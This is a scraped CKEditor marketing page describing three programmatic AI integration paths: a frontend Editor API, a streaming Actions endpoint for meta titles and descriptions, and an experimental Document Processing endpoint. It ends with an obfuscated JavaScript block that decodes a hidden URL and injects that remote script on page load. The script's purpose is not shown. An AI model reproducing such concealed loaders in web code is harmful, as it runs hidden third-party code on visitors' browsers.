Programmatic AI APIs

Explore how to drive CKEditor AI directly from your code – no editor UI needed. Try the Editor API, REST API, and Document stateless API in this interactive demo.

Three integration patterns, each with a live example: the JavaScript Editor API for in-editor control, the REST API for server-to-server or browser-based calls, and the Document stateless API for backend pipelines – no active editor instance required. Select a tab to get started.

Run AI prompts programmatically

The Frontend Editor API lets you execute AI prompts directly from your application. A single prompt can rewrite and restructure an entire document without opening AI Chat. See the full API reference.

Loading...
Generate meta title and meta description from the browser

The Actions endpoint runs stateless transforms on any content you pass to it, with responses streamed over Server-Sent Events. This demo calls it from the browser to generate a title and a meta description for a blog post. The same call works from your backend. See the full API reference.

Loading...
Server-side document pipeline

The Document Processing endpoint takes a prompt and an HTML document and returns a transformed version. It is designed for server-side workflows like CMS publish hooks, content pipelines, and batch translation. This demo runs the flow in the browser for visibility, but the same call is at home in your backend. This endpoint is experimental. See the full API reference.

Loading...
Note
  • This demo contains just a small subset of available CKEditor features. You are free to add more features to CKEditor regardless what editor type/toolbar you choose.

  • Read more about the AI programmatic capabilities in the documentation.

Trusted and approved by

Can't see what you're looking for?

Talk to our Sales Representative to discuss your use case
and learn what more CKEditor can do for you.

window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });